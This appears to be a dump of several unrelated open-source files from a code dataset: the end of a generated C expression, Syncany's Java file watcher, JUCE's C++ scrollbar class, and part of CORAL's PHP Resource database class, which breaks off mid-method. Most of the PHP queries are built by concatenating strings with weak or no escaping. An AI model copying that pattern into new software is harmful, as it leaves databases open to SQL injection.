[113]*y[115]+y[1]*y[6]*y[113]*y[115]-y[1]*y[7]*y[113]*y[115]+y[1]*y[6]*y[11\
7]+y[1]*y[2]*y[115]*y[117]+y[1]*y[5]*y[115]*y[117]-y[1]*y[7]*y[115]*y[117]+\
y[1]*y[2]*y[113]*y[115]*y[117]+y[1]*y[4]*y[113]*y[115]*y[117]+y[1]*y[6]*y[1\
13]*y[115]*y[117]+y[1]*y[5]*y[113]*y[146]+y[1]*y[2]*y[113]*y[117]*y[146]+y[\
1]*y[5]*y[113]*y[117]*y[146]-y[1]*y[7]*y[113]*y[117]*y[146]+y[1]*y[4]*y[115\
]*y[147]+y[1]*y[4]*y[146]*y[147]+y[1]*y[4]*y[117]*y[146]*y[147]+y[1]*y[2]*y\
[115]*y[148]+y[1]*y[2]*y[113]*y[146]*y[148])*y[118]*y[139]*y[145];
return (FOUT);
}
| Java |
/*
* Syncany, www.syncany.org
* Copyright (C) 2011 Philipp C. Heckel <[email protected]>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package com.stacksync.desktop.watch.local;
import java.io.File;
import org.apache.log4j.Logger;
import com.stacksync.desktop.Environment;
import com.stacksync.desktop.Environment.OperatingSystem;
import com.stacksync.desktop.config.Config;
import com.stacksync.desktop.config.Folder;
import com.stacksync.desktop.config.profile.Profile;
import com.stacksync.desktop.index.Indexer;
import com.stacksync.desktop.util.FileUtil;
/**
*
* @author oubou68, pheckel
*/
public abstract class LocalWatcher {
protected final Logger logger = Logger.getLogger(LocalWatcher.class.getName());
protected static final Environment env = Environment.getInstance();
protected static LocalWatcher instance;
protected Config config;
protected Indexer indexer;
public LocalWatcher() {
initDependencies();
logger.info("Creating watcher ...");
}
private void initDependencies() {
config = Config.getInstance();
indexer = Indexer.getInstance();
}
public void queueCheckFile(Folder root, File file) {
// Exclude ".ignore*" files from everything
if (FileUtil.checkIgnoreFile(root, file)) {
logger.debug("Watcher: Ignoring file "+file.getAbsolutePath());
return;
}
// File vanished!
if (!file.exists()) {
logger.warn("Watcher: File "+file+" vanished. IGNORING.");
return;
}
// Add to queue
logger.info("Watcher: Checking new/modified file "+file);
indexer.queueChecked(root, file);
}
public void queueMoveFile(Folder fromRoot, File fromFile, Folder toRoot, File toFile) {
// Exclude ".ignore*" files from everything
if (FileUtil.checkIgnoreFile(fromRoot, fromFile) || FileUtil.checkIgnoreFile(toRoot, toFile)) {
logger.info("Watcher: Ignoring file "+fromFile.getAbsolutePath());
return;
}
// File vanished!
if (!toFile.exists()) {
logger.warn("Watcher: File "+toFile+" vanished. IGNORING.");
return;
}
// Add to queue
logger.info("Watcher: Moving file "+fromFile+" TO "+toFile+"");
indexer.queueMoved(fromRoot, fromFile, toRoot, toFile);
}
public void queueDeleteFile(Folder root, File file) {
// Exclude ".ignore*" files from everything
if (FileUtil.checkIgnoreFile(root, file)) {
logger.info("Watcher: Ignoring file "+file.getAbsolutePath());
return;
}
// Add to queue
logger.info("Watcher: Deleted file "+file+"");
indexer.queueDeleted(root, file);
}
public static synchronized LocalWatcher getInstance() {
if (instance != null) {
return instance;
}
if (env.getOperatingSystem() == OperatingSystem.Linux
|| env.getOperatingSystem() == OperatingSystem.Windows
|| env.getOperatingSystem() == OperatingSystem.Mac) {
instance = new CommonLocalWatcher();
return instance;
}
throw new RuntimeException("Your operating system is currently not supported: " + System.getProperty("os.name"));
}
public abstract void start();
public abstract void stop();
public abstract void watch(Profile profile);
public abstract void unwatch(Profile profile);
}
| Java |
/*
==============================================================================
This file is part of the JUCE library.
Copyright (c) 2017 - ROLI Ltd.
JUCE is an open source library subject to commercial or open-source
licensing.
By using JUCE, you agree to the terms of both the JUCE 5 End-User License
Agreement and JUCE 5 Privacy Policy (both updated and effective as of the
27th April 2017).
End User License Agreement: www.juce.com/juce-5-licence
Privacy Policy: www.juce.com/juce-5-privacy-policy
Or: You may also use this code under the terms of the GPL v3 (see
www.gnu.org/licenses).
JUCE IS PROVIDED "AS IS" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER
EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE
DISCLAIMED.
==============================================================================
*/
class ScrollBar::ScrollbarButton : public Button
{
public:
ScrollbarButton (int direc, ScrollBar& s)
: Button (String()), direction (direc), owner (s)
{
setWantsKeyboardFocus (false);
}
void paintButton (Graphics& g, bool over, bool down) override
{
getLookAndFeel().drawScrollbarButton (g, owner, getWidth(), getHeight(),
direction, owner.isVertical(), over, down);
}
void clicked() override
{
owner.moveScrollbarInSteps ((direction == 1 || direction == 2) ? 1 : -1);
}
int direction;
private:
ScrollBar& owner;
JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (ScrollbarButton)
};
//==============================================================================
ScrollBar::ScrollBar (const bool shouldBeVertical)
: totalRange (0.0, 1.0),
visibleRange (0.0, 0.1),
singleStepSize (0.1),
thumbAreaStart (0),
thumbAreaSize (0),
thumbStart (0),
thumbSize (0),
initialDelayInMillisecs (100),
repeatDelayInMillisecs (50),
minimumDelayInMillisecs (10),
vertical (shouldBeVertical),
isDraggingThumb (false),
autohides (true)
{
setRepaintsOnMouseActivity (true);
setFocusContainer (true);
}
ScrollBar::~ScrollBar()
{
upButton = nullptr;
downButton = nullptr;
}
//==============================================================================
void ScrollBar::setRangeLimits (Range<double> newRangeLimit, NotificationType notification)
{
if (totalRange != newRangeLimit)
{
totalRange = newRangeLimit;
setCurrentRange (visibleRange, notification);
updateThumbPosition();
}
}
void ScrollBar::setRangeLimits (const double newMinimum, const double newMaximum, NotificationType notification)
{
jassert (newMaximum >= newMinimum); // these can't be the wrong way round!
setRangeLimits (Range<double> (newMinimum, newMaximum), notification);
}
bool ScrollBar::setCurrentRange (Range<double> newRange, const NotificationType notification)
{
const Range<double> constrainedRange (totalRange.constrainRange (newRange));
if (visibleRange != constrainedRange)
{
visibleRange = constrainedRange;
updateThumbPosition();
if (notification != dontSendNotification)
triggerAsyncUpdate();
if (notification == sendNotificationSync)
handleUpdateNowIfNeeded();
return true;
}
return false;
}
void ScrollBar::setCurrentRange (const double newStart, const double newSize, NotificationType notification)
{
setCurrentRange (Range<double> (newStart, newStart + newSize), notification);
}
void ScrollBar::setCurrentRangeStart (const double newStart, NotificationType notification)
{
setCurrentRange (visibleRange.movedToStartAt (newStart), notification);
}
void ScrollBar::setSingleStepSize (const double newSingleStepSize) noexcept
{
singleStepSize = newSingleStepSize;
}
bool ScrollBar::moveScrollbarInSteps (const int howManySteps, NotificationType notification)
{
return setCurrentRange (visibleRange + howManySteps * singleStepSize, notification);
}
bool ScrollBar::moveScrollbarInPages (const int howManyPages, NotificationType notification)
{
return setCurrentRange (visibleRange + howManyPages * visibleRange.getLength(), notification);
}
bool ScrollBar::scrollToTop (NotificationType notification)
{
return setCurrentRange (visibleRange.movedToStartAt (getMinimumRangeLimit()), notification);
}
bool ScrollBar::scrollToBottom (NotificationType notification)
{
return setCurrentRange (visibleRange.movedToEndAt (getMaximumRangeLimit()), notification);
}
void ScrollBar::setButtonRepeatSpeed (const int newInitialDelay,
const int newRepeatDelay,
const int newMinimumDelay)
{
initialDelayInMillisecs = newInitialDelay;
repeatDelayInMillisecs = newRepeatDelay;
minimumDelayInMillisecs = newMinimumDelay;
if (upButton != nullptr)
{
upButton ->setRepeatSpeed (newInitialDelay, newRepeatDelay, newMinimumDelay);
downButton->setRepeatSpeed (newInitialDelay, newRepeatDelay, newMinimumDelay);
}
}
//==============================================================================
void ScrollBar::addListener (Listener* const listener)
{
listeners.add (listener);
}
void ScrollBar::removeListener (Listener* const listener)
{
listeners.remove (listener);
}
void ScrollBar::handleAsyncUpdate()
{
double start = visibleRange.getStart(); // (need to use a temp variable for VC7 compatibility)
listeners.call (&ScrollBar::Listener::scrollBarMoved, this, start);
}
//==============================================================================
void ScrollBar::updateThumbPosition()
{
const int minimumScrollBarThumbSize = getLookAndFeel().getMinimumScrollbarThumbSize (*this);
int newThumbSize = roundToInt (totalRange.getLength() > 0 ? (visibleRange.getLength() * thumbAreaSize) / totalRange.getLength()
: thumbAreaSize);
if (newThumbSize < minimumScrollBarThumbSize)
newThumbSize = jmin (minimumScrollBarThumbSize, thumbAreaSize - 1);
if (newThumbSize > thumbAreaSize)
newThumbSize = thumbAreaSize;
int newThumbStart = thumbAreaStart;
if (totalRange.getLength() > visibleRange.getLength())
newThumbStart += roundToInt (((visibleRange.getStart() - totalRange.getStart()) * (thumbAreaSize - newThumbSize))
/ (totalRange.getLength() - visibleRange.getLength()));
setVisible ((! autohides) || (totalRange.getLength() > visibleRange.getLength()
&& visibleRange.getLength() > 0.0));
if (thumbStart != newThumbStart || thumbSize != newThumbSize)
{
const int repaintStart = jmin (thumbStart, newThumbStart) - 4;
const int repaintSize = jmax (thumbStart + thumbSize, newThumbStart + newThumbSize) + 8 - repaintStart;
if (vertical)
repaint (0, repaintStart, getWidth(), repaintSize);
else
repaint (repaintStart, 0, repaintSize, getHeight());
thumbStart = newThumbStart;
thumbSize = newThumbSize;
}
}
void ScrollBar::setOrientation (const bool shouldBeVertical)
{
if (vertical != shouldBeVertical)
{
vertical = shouldBeVertical;
if (upButton != nullptr)
{
upButton->direction = vertical ? 0 : 3;
downButton->direction = vertical ? 2 : 1;
}
updateThumbPosition();
}
}
void ScrollBar::setAutoHide (const bool shouldHideWhenFullRange)
{
autohides = shouldHideWhenFullRange;
updateThumbPosition();
}
bool ScrollBar::autoHides() const noexcept
{
return autohides;
}
//==============================================================================
void ScrollBar::paint (Graphics& g)
{
if (thumbAreaSize > 0)
{
LookAndFeel& lf = getLookAndFeel();
const int thumb = (thumbAreaSize > lf.getMinimumScrollbarThumbSize (*this))
? thumbSize : 0;
if (vertical)
lf.drawScrollbar (g, *this, 0, thumbAreaStart, getWidth(), thumbAreaSize,
vertical, thumbStart, thumb, isMouseOver(), isMouseButtonDown());
else
lf.drawScrollbar (g, *this, thumbAreaStart, 0, thumbAreaSize, getHeight(),
vertical, thumbStart, thumb, isMouseOver(), isMouseButtonDown());
}
}
void ScrollBar::lookAndFeelChanged()
{
setComponentEffect (getLookAndFeel().getScrollbarEffect());
if (isVisible())
resized();
}
void ScrollBar::resized()
{
const int length = vertical ? getHeight() : getWidth();
LookAndFeel& lf = getLookAndFeel();
const bool buttonsVisible = lf.areScrollbarButtonsVisible();
int buttonSize = 0;
if (buttonsVisible)
{
if (upButton == nullptr)
{
addAndMakeVisible (upButton = new ScrollbarButton (vertical ? 0 : 3, *this));
addAndMakeVisible (downButton = new ScrollbarButton (vertical ? 2 : 1, *this));
setButtonRepeatSpeed (initialDelayInMillisecs, repeatDelayInMillisecs, minimumDelayInMillisecs);
}
buttonSize = jmin (lf.getScrollbarButtonSize (*this), length / 2);
}
else
{
upButton = nullptr;
downButton = nullptr;
}
if (length < 32 + lf.getMinimumScrollbarThumbSize (*this))
{
thumbAreaStart = length / 2;
thumbAreaSize = 0;
}
else
{
thumbAreaStart = buttonSize;
thumbAreaSize = length - 2 * buttonSize;
}
if (upButton != nullptr)
{
Rectangle<int> r (getLocalBounds());
if (vertical)
{
upButton->setBounds (r.removeFromTop (buttonSize));
downButton->setBounds (r.removeFromBottom (buttonSize));
}
else
{
upButton->setBounds (r.removeFromLeft (buttonSize));
downButton->setBounds (r.removeFromRight (buttonSize));
}
}
updateThumbPosition();
}
void ScrollBar::parentHierarchyChanged()
{
lookAndFeelChanged();
}
void ScrollBar::mouseDown (const MouseEvent& e)
{
isDraggingThumb = false;
lastMousePos = vertical ? e.y : e.x;
dragStartMousePos = lastMousePos;
dragStartRange = visibleRange.getStart();
if (dragStartMousePos < thumbStart)
{
moveScrollbarInPages (-1);
startTimer (400);
}
else if (dragStartMousePos >= thumbStart + thumbSize)
{
moveScrollbarInPages (1);
startTimer (400);
}
else
{
isDraggingThumb = (thumbAreaSize > getLookAndFeel().getMinimumScrollbarThumbSize (*this))
&& (thumbAreaSize > thumbSize);
}
}
void ScrollBar::mouseDrag (const MouseEvent& e)
{
const int mousePos = vertical ? e.y : e.x;
if (isDraggingThumb && lastMousePos != mousePos && thumbAreaSize > thumbSize)
{
const int deltaPixels = mousePos - dragStartMousePos;
setCurrentRangeStart (dragStartRange
+ deltaPixels * (totalRange.getLength() - visibleRange.getLength())
/ (thumbAreaSize - thumbSize));
}
lastMousePos = mousePos;
}
void ScrollBar::mouseUp (const MouseEvent&)
{
isDraggingThumb = false;
stopTimer();
repaint();
}
void ScrollBar::mouseWheelMove (const MouseEvent&, const MouseWheelDetails& wheel)
{
float increment = 10.0f * (vertical ? wheel.deltaY : wheel.deltaX);
if (increment < 0)
increment = jmin (increment, -1.0f);
else if (increment > 0)
increment = jmax (increment, 1.0f);
setCurrentRange (visibleRange - singleStepSize * increment);
}
void ScrollBar::timerCallback()
{
if (isMouseButtonDown())
{
startTimer (40);
if (lastMousePos < thumbStart)
setCurrentRange (visibleRange - visibleRange.getLength());
else if (lastMousePos > thumbStart + thumbSize)
setCurrentRangeStart (visibleRange.getEnd());
}
else
{
stopTimer();
}
}
bool ScrollBar::keyPressed (const KeyPress& key)
{
if (isVisible())
{
if (key == KeyPress::upKey || key == KeyPress::leftKey) return moveScrollbarInSteps (-1);
if (key == KeyPress::downKey || key == KeyPress::rightKey) return moveScrollbarInSteps (1);
if (key == KeyPress::pageUpKey) return moveScrollbarInPages (-1);
if (key == KeyPress::pageDownKey) return moveScrollbarInPages (1);
if (key == KeyPress::homeKey) return scrollToTop();
if (key == KeyPress::endKey) return scrollToBottom();
}
return false;
}
| Java |
<?php
/*
**************************************************************************************************************************
** CORAL Resources Module v. 1.2
**
** Copyright (c) 2010 University of Notre Dame
**
** This file is part of CORAL.
**
** CORAL is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.
**
** CORAL is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License along with CORAL. If not, see <http://www.gnu.org/licenses/>.
**
**************************************************************************************************************************
*/
class Resource extends DatabaseObject {
protected function defineRelationships() {}
protected function defineIsbnOrIssn() {}
protected function overridePrimaryKeyName() {}
//returns resource objects by title
public function getResourceByTitle($title){
$query = "SELECT *
FROM Resource
WHERE UPPER(titleText) = '" . str_replace("'", "''", strtoupper($title)) . "'
ORDER BY 1";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceID'])){
$object = new Resource(new NamedArguments(array('primaryKey' => $result['resourceID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new Resource(new NamedArguments(array('primaryKey' => $row['resourceID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns resource objects by title
public function getResourceByIsbnOrISSN($isbnOrISSN){
$query = "SELECT DISTINCT(resourceID)
FROM IsbnOrIssn";
$i = 0;
if (!is_array($isbnOrISSN)) {
$value = $isbnOrISSN;
$isbnOrISSN = array($value);
}
foreach ($isbnOrISSN as $value) {
$query .= ($i == 0) ? " WHERE " : " OR ";
$query .= "isbnOrIssn = '" . $this->db->escapeString($value) . "'";
$i++;
}
$query .= " ORDER BY 1";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceID'])){
$object = new Resource(new NamedArguments(array('primaryKey' => $result['resourceID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new Resource(new NamedArguments(array('primaryKey' => $row['resourceID'])));
array_push($objects, $object);
}
}
return $objects;
}
public function getIsbnOrIssn() {
$query = "SELECT *
FROM IsbnOrIssn
WHERE resourceID = '" . $this->resourceID . "'
ORDER BY 1";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['isbnOrIssnID'])){
$object = new IsbnOrIssn(new NamedArguments(array('primaryKey' => $result['isbnOrIssnID'])));
array_push($objects, $object);
} else {
foreach ($result as $row) {
$object = new IsbnOrIssn(new NamedArguments(array('primaryKey' => $row['isbnOrIssnID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of parent resource objects
public function getParentResources(){
return $this->getRelatedResources('resourceID');
}
//returns array of child resource objects
public function getChildResources(){
return $this->getRelatedResources('relatedResourceID');
}
// return array of related resource objects
private function getRelatedResources($key) {
$query = "SELECT *
FROM ResourceRelationship
WHERE $key = '" . $this->resourceID . "'
AND relationshipTypeID = '1'
ORDER BY 1";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result[$key])){
$object = new ResourceRelationship(new NamedArguments(array('primaryKey' => $result['resourceRelationshipID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new ResourceRelationship(new NamedArguments(array('primaryKey' => $row['resourceRelationshipID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of purchase site objects
public function getResourcePurchaseSites(){
$query = "SELECT PurchaseSite.* FROM PurchaseSite, ResourcePurchaseSiteLink RPSL where RPSL.purchaseSiteID = PurchaseSite.purchaseSiteID AND resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['purchaseSiteID'])){
$object = new PurchaseSite(new NamedArguments(array('primaryKey' => $result['purchaseSiteID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new PurchaseSite(new NamedArguments(array('primaryKey' => $row['purchaseSiteID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of ResourcePayment objects
public function getResourcePayments(){
$query = "SELECT * FROM ResourcePayment WHERE resourceID = '" . $this->resourceID . "' ORDER BY year DESC, fundName, subscriptionStartDate DESC";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourcePaymentID'])){
$object = new ResourcePayment(new NamedArguments(array('primaryKey' => $result['resourcePaymentID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new ResourcePayment(new NamedArguments(array('primaryKey' => $row['resourcePaymentID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of associated licenses
public function getLicenseArray(){
$config = new Configuration;
//if the lic module is installed get the lic name from lic database
if ($config->settings->licensingModule == 'Y'){
$dbName = $config->settings->licensingDatabaseName;
$resourceLicenseArray = array();
$query = "SELECT * FROM ResourceLicenseLink WHERE resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['licenseID'])){
$licArray = array();
//first, get the license name
$query = "SELECT shortName FROM " . $dbName . ".License WHERE licenseID = " . $result['licenseID'];
if ($licResult = $this->db->query($query)){
while ($licRow = $licResult->fetch_assoc()){
$licArray['license'] = $licRow['shortName'];
$licArray['licenseID'] = $result['licenseID'];
}
}
array_push($resourceLicenseArray, $licArray);
}else{
foreach ($result as $row) {
$licArray = array();
//first, get the license name
$query = "SELECT shortName FROM " . $dbName . ".License WHERE licenseID = " . $row['licenseID'];
if ($licResult = $this->db->query($query)){
while ($licRow = $licResult->fetch_assoc()){
$licArray['license'] = $licRow['shortName'];
$licArray['licenseID'] = $row['licenseID'];
}
}
array_push($resourceLicenseArray, $licArray);
}
}
return $resourceLicenseArray;
}
}
//returns array of resource license status objects
public function getResourceLicenseStatuses(){
$query = "SELECT * FROM ResourceLicenseStatus WHERE resourceID = '" . $this->resourceID . "' ORDER BY licenseStatusChangeDate desc;";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['resourceLicenseStatusID'])){
$object = new ResourceLicenseStatus(new NamedArguments(array('primaryKey' => $result['resourceLicenseStatusID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new ResourceLicenseStatus(new NamedArguments(array('primaryKey' => $row['resourceLicenseStatusID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns LicenseStatusID of the most recent resource license status
public function getCurrentResourceLicenseStatus(){
$query = "SELECT licenseStatusID FROM ResourceLicenseStatus RLS WHERE resourceID = '" . $this->resourceID . "' AND licenseStatusChangeDate = (SELECT MAX(licenseStatusChangeDate) FROM ResourceLicenseStatus WHERE ResourceLicenseStatus.resourceID = '" . $this->resourceID . "') LIMIT 0,1;";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['licenseStatusID'])){
return $result['licenseStatusID'];
}
}
//returns array of authorized site objects
public function getResourceAuthorizedSites(){
$query = "SELECT AuthorizedSite.* FROM AuthorizedSite, ResourceAuthorizedSiteLink RPSL where RPSL.authorizedSiteID = AuthorizedSite.authorizedSiteID AND resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['authorizedSiteID'])){
$object = new AuthorizedSite(new NamedArguments(array('primaryKey' => $result['authorizedSiteID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new AuthorizedSite(new NamedArguments(array('primaryKey' => $row['authorizedSiteID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of administering site objects
public function getResourceAdministeringSites(){
$query = "SELECT AdministeringSite.* FROM AdministeringSite, ResourceAdministeringSiteLink RPSL where RPSL.administeringSiteID = AdministeringSite.administeringSiteID AND resourceID = '" . $this->resourceID . "'";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['administeringSiteID'])){
$object = new AdministeringSite(new NamedArguments(array('primaryKey' => $result['administeringSiteID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new AdministeringSite(new NamedArguments(array('primaryKey' => $row['administeringSiteID'])));
array_push($objects, $object);
}
}
return $objects;
}
//deletes all parent resources associated with this resource
public function removeParentResources(){
$query = "DELETE FROM ResourceRelationship WHERE resourceID = '" . $this->resourceID . "'";
return $this->db->processQuery($query);
}
//returns array of alias objects
public function getAliases(){
$query = "SELECT * FROM Alias WHERE resourceID = '" . $this->resourceID . "' order by shortName";
$result = $this->db->processQuery($query, 'assoc');
$objects = array();
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['aliasID'])){
$object = new Alias(new NamedArguments(array('primaryKey' => $result['aliasID'])));
array_push($objects, $object);
}else{
foreach ($result as $row) {
$object = new Alias(new NamedArguments(array('primaryKey' => $row['aliasID'])));
array_push($objects, $object);
}
}
return $objects;
}
//returns array of contact objects
public function getUnarchivedContacts($moduleFilter=false){
$config = new Configuration;
$resultArray = array();
$contactsArray = array();
if (!$moduleFilter || $moduleFilter == 'resources') {
//get resource specific contacts first
$query = "SELECT C.*, GROUP_CONCAT(CR.shortName SEPARATOR '<br /> ') contactRoles
FROM Contact C, ContactRole CR, ContactRoleProfile CRP
WHERE (archiveDate = '0000-00-00' OR archiveDate is null)
AND C.contactID = CRP.contactID
AND CRP.contactRoleID = CR.contactRoleID
AND resourceID = '" . $this->resourceID . "'
GROUP BY C.contactID
ORDER BY C.name";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['contactID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($contactsArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($contactsArray, $resultArray);
}
}
}
//if the org module is installed also get the org contacts from org database
if ($config->settings->organizationsModule == 'Y' && (!$moduleFilter || $moduleFilter == 'organizations')) {
$dbName = $config->settings->organizationsDatabaseName;
$query = "SELECT distinct OC.*, O.name organizationName, GROUP_CONCAT(DISTINCT CR.shortName SEPARATOR '<br /> ') contactRoles
FROM " . $dbName . ".Contact OC, " . $dbName . ".ContactRole CR, " . $dbName . ".ContactRoleProfile CRP, " . $dbName . ".Organization O, Resource R, ResourceOrganizationLink ROL
WHERE (OC.archiveDate = '0000-00-00' OR OC.archiveDate is null)
AND R.resourceID = ROL.resourceID
AND ROL.organizationID = OC.organizationID
AND CRP.contactID = OC.contactID
AND CRP.contactRoleID = CR.contactRoleID
AND O.organizationID = OC.organizationID
AND R.resourceID = '" . $this->resourceID . "'
GROUP BY OC.contactID, O.name
ORDER BY OC.name";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['contactID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($contactsArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($contactsArray, $resultArray);
}
}
}
return $contactsArray;
}
//returns array of contact objects
public function getArchivedContacts(){
$config = new Configuration;
$contactsArray = array();
//get resource specific contacts
$query = "SELECT C.*, GROUP_CONCAT(CR.shortName SEPARATOR '<br /> ') contactRoles
FROM Contact C, ContactRole CR, ContactRoleProfile CRP
WHERE (archiveDate != '0000-00-00' && archiveDate != '')
AND C.contactID = CRP.contactID
AND CRP.contactRoleID = CR.contactRoleID
AND resourceID = '" . $this->resourceID . "'
GROUP BY C.contactID
ORDER BY C.name";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['contactID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($contactsArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($contactsArray, $resultArray);
}
}
//if the org module is installed also get the org contacts from org database
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$query = "SELECT DISTINCT OC.*, O.name organizationName, GROUP_CONCAT(DISTINCT CR.shortName SEPARATOR '<br /> ') contactRoles
FROM " . $dbName . ".Contact OC, " . $dbName . ".ContactRole CR, " . $dbName . ".ContactRoleProfile CRP, " . $dbName . ".Organization O, Resource R, ResourceOrganizationLink ROL
WHERE (OC.archiveDate != '0000-00-00' && OC.archiveDate is not null)
AND R.resourceID = ROL.resourceID
AND ROL.organizationID = OC.organizationID
AND CRP.contactID = OC.contactID
AND CRP.contactRoleID = CR.contactRoleID
AND O.organizationID = OC.organizationID
AND R.resourceID = '" . $this->resourceID . "'
GROUP BY OC.contactID, O.name
ORDER BY OC.name";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['contactID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($contactsArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($contactsArray, $resultArray);
}
}
}
return $contactsArray;
}
//returns array of contact objects
public function getCreatorsArray(){
$creatorsArray = array();
$resultArray = array();
//get resource specific creators
$query = "SELECT distinct loginID, firstName, lastName
FROM Resource R, User U
WHERE U.loginID = R.createLoginID
ORDER BY lastName, firstName, loginID";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['loginID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($creatorsArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($creatorsArray, $resultArray);
}
}
return $creatorsArray;
}
//returns array of external login records
public function getExternalLoginArray(){
$config = new Configuration;
$elArray = array();
//get resource specific accounts first
$query = "SELECT EL.*, ELT.shortName externalLoginType
FROM ExternalLogin EL, ExternalLoginType ELT
WHERE EL.externalLoginTypeID = ELT.externalLoginTypeID
AND resourceID = '" . $this->resourceID . "'
ORDER BY ELT.shortName;";
$result = $this->db->processQuery($query, 'assoc');
//need to do this since it could be that there's only one request and this is how the dbservice returns result
if (isset($result['externalLoginID'])){
foreach (array_keys($result) as $attributeName) {
$resultArray[$attributeName] = $result[$attributeName];
}
array_push($elArray, $resultArray);
}else{
foreach ($result as $row) {
$resultArray = array();
foreach (array_keys($row) as $attributeName) {
$resultArray[$attributeName] = $row[$attributeName];
}
array_push($elArray, $resultArray);
}
}
//if the org module is installed also get the external logins from org database
if ($config->settings->organizationsModule == 'Y'){
$dbName = $config->settings->organizationsDatabaseName;
$query = "SELECT DISTINCT EL.*, ELT.shortName externalLoginType, O.name organizationName
FROM " . $dbName . ".ExternalLogin EL, " . $dbName . ".ExternalLoginType ELT, " . $dbName . ".Organization O,
Resource R, ResourceOrganizationLink ROL
WHERE EL.externalLoginTypeID = ELT.externalLoginTypeID
AND R.resourceID = ROL.resourceID
AND ROL.organizationID = EL.organizationID
AND O.organizationID = EL.organizationID
AND R.resourceID = '" . $this->resourceID . "'
ORDER BY ELT.shortName;";
